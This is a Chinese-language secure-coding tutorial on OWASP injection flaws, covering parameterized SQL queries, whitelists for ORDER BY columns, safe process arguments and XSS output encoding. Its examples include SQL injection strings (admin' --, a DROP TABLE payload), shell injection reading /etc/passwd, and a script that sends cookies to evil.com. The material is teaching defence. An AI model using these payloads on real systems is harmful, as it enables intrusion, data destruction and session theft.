💡 今日學習目標:深入理解注入攻擊 (Injection) 的根本原因,並掌握參數化查詢 (Parameterized Queries) 如何在底層徹底隔離「指令」與「資料」。
注入攻擊在 2025 年的榜單上排 A05(2021 年是 A03)。名次雖然一路往下掉,但別誤會。OWASP 特別註明:這是被測試得最徹底的類別之一(100% 的受測應用程式都測過某種形式的注入),而且它底下的 37 個 CWE 關聯到的 CVE 數量是十大類別中最多的:累計 62,445 筆,比第二名的 A01 權限控制失效(32,654 筆)多了將近一倍。
而那六萬多筆裡,最大宗的兩個來源剛好就是今天的主角:XSS 超過 30,000 筆、SQL Injection 超過 14,000 筆。
換句話說,它不是變安全了,只是大家終於都在防它了。
而它的根本成因,二十幾年來從來沒變過:
把「使用者傳入的資料」,用字串拼接的方式混進「待執行的指令」裡。
當指令與資料的界線變得模糊,攻擊者送進來的特定字元(' OR '1'='1、--、; rm -rf /)就會被解析器錯誤地當成「程式碼」執行。
📌 順帶一提:OWASP 的 Injection 類別包含 XSS。很多人以為 XSS 是獨立的一類,其實它就是「注入到 HTML」,本質完全相同。我們今天後半段會處理它。
很多教學會說「用參數化就對了」,但沒說為什麼。理解機制很重要,因為它同時能告訴你參數化在哪裡幫不上忙。

關鍵就在順序:
這就是為什麼那串 admin' -- 在參數化底下不會生效:它被完整地當成一個「使用者名稱」拿去查,然後查無此人。
// ❌ 錯誤範例:字串拼接 (SQL Injection)
Function Login(username, password):
// 直接將 username 和 password 拼接到 SQL 字串中
SQL = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"
// 假設攻擊者在 username 填入: admin' --
// 最終生成的 SQL 變成: SELECT * FROM users WHERE username = 'admin' --' AND password = '...'
// -- 代表註解,後面的密碼驗證全被廢棄!攻擊者直接以 admin 身分登入!
Return DB.Execute(SQL)
// ✅ 安全範例:參數化查詢 (Parameterized Query / Prepared Statement)
Function Login(username, password):
// 1. 定義帶有占位符 (?) 的 SQL 模板
SQL = "SELECT * FROM users WHERE username = ? AND password = ?"
// 2. 將參數作為資料陣列傳遞給 DB 驅動程式
// 資料庫會先預編譯 SQL 的語法樹,確保語法結構只有固定查詢
// 接著將 username 與 password 視為單純的「字串資料內容」填入占位符
Return DB.Execute(SQL, Parameters=[username, password])
🛡️ 跨語言通則:不論使用的是 Python DB-API、Java JDBC (
PreparedStatement)、C# ADO.NET (SqlCommand.Parameters),或是 Node.js 的 SQL 驅動,底層都必須使用預編譯占位符!
這一段是今天最重要的內容,因為它是現代程式碼裡最常見的 SQLi 破口,而且很多人以為自己「已經用參數化了所以很安全」。
占位符只能代表「值」,不能代表「識別碼」。
資料表名、欄位名、ORDER BY 的排序欄位、ASC/DESC,這些通通無法參數化。你的資料庫驅動會直接拒絕,或是把它們當成字串值處理(那查詢就壞掉了)。
於是最常見的情況就發生了:一個排序功能。
// ❌ 危險:排序欄位直接接使用者輸入(這裡參數化幫不了你)
sortColumn = req.GetQueryParam("sort")
SQL = "SELECT * FROM products ORDER BY " + sortColumn
DB.Execute(SQL)
// 攻擊者傳入 sort = "price; DROP TABLE users--"
// 或用它做盲注:sort = "(CASE WHEN (SELECT ...) THEN price ELSE name END)"
正確做法是白名單對照,而且要注意這個寫法的精妙之處:
// ✅ 安全:識別碼一律走白名單查表
ALLOWED_SORT = {
"price": "price",
"name": "product_name",
"date": "created_at"
}
sortKey = req.GetQueryParam("sort")
// 預設拒絕(SEI 法則 5):不在清單裡就用預設值,不是報錯後放行
If NOT ALLOWED_SORT.ContainsKey(sortKey):
sortKey = "date"
column = ALLOWED_SORT[sortKey]
SQL = "SELECT * FROM products ORDER BY " + column
DB.Execute(SQL)
🔑 請仔細看最後那個拼接。它看起來還是字串拼接,但它是安全的,因為
column的值永遠來自你自己寫死的那張表,使用者的輸入從頭到尾只是「一把查表用的鑰匙」,它本身一個字元都沒有進到 SQL 裡。這就是識別碼防禦的正確心智模型:不是把使用者輸入清乾淨再用,而是根本不用它。
注入攻擊不僅發生在 SQL,也常見於呼叫系統 Shell 指令的場景:
// ❌ 錯誤:把參數拼成一整串字串丟給 Shell
Function PingHost(hostIp):
System.Execute("ping -c 1 " + hostIp)
// 若 hostIp = "127.0.0.1; cat /etc/passwd"
// Shell 會把分號當成指令分隔符,兩條指令都執行
// ✅ 最好的做法:根本不要開 Shell
Function PingHost(hostIp):
If NOT IsValidIPAddress(hostIp):
Return Error("Invalid IP")
NetworkLibrary.Ping(hostIp) // 用語言內建的網路 API
// ✅ 如果非呼叫外部程式不可:參數用「陣列」傳,不要組字串
Function PingHost(hostIp):
If NOT IsValidIPAddress(hostIp):
Return Error("Invalid IP")
Process.Run("ping", ["-c", "1", hostIp]) // 各參數獨立傳遞
🔑 陣列傳參為什麼有效? 因為當你把指令與參數分開傳遞時,作業系統是直接執行那個程式、把陣列元素原封不動當成
argv交給它:中間沒有 Shell 參與,所以;、|、&&、`這些符號通通失去意義,它們只是普通字元。你會發現這跟參數化查詢是完全同一個概念:把「指令結構」與「資料」分開送。這正是 Day 14 SEI 法則 7 講的「依目標系統的語法做對應的隔離」。
前面說過,OWASP 把 XSS 歸在 Injection 這一類。理由很直接:它就是「注入到 HTML」。
// ❌ 把使用者輸入直接塞進 HTML
html = "<div>歡迎回來," + userName + "</div>"
// 若 userName = "<script>fetch('https://evil.com?c='+document.cookie)</script>"
// 這段 script 就會在每一個看到這個頁面的人的瀏覽器裡執行
// ✅ 依「輸出的語境」做對應的編碼
html = "<div>歡迎回來," + HtmlEncode(userName) + "</div>"
// 輸出變成 <script>... 瀏覽器會把它當文字顯示,不會當程式執行
⚠️ 關鍵在「語境」兩個字:同一筆資料輸出到不同位置,要用不同的編碼方式。
- 放進 HTML 內文 ➔ HTML Entity Encode
- 放進 HTML 屬性 ➔ 屬性編碼,而且屬性值一定要加引號
- 放進
<script>區塊 ➔ JavaScript 字串編碼- 放進網址參數 ➔ URL Encode
用錯地方的編碼,等於沒有編碼。
💡 好消息是:現代前端框架預設幫你做好了。 React、Vue、Angular 在插值時都會自動 escape。所以實務上 XSS 幾乎都出在你刻意繞過它的那幾個 API:
dangerouslySetInnerHTML、v-html、[innerHTML]。那些 API 的名字都在對你大喊「這裡有風險」,用之前請確定你送進去的東西真的可信。
ORDER BY 綁不了,這些地方的正解不是「把輸入清乾淨」,而是根本不用它,只拿它當查表的鑰匙。💬 明日預告:【Day 19】【動手做】OWASP A02 安全設定缺陷:HTTP 安全標頭實戰
明天要處理的是 2025 年一口氣從第 5 名衝到第 2 名的類別,而且它多半不是「寫錯程式」,是「忘了設定」。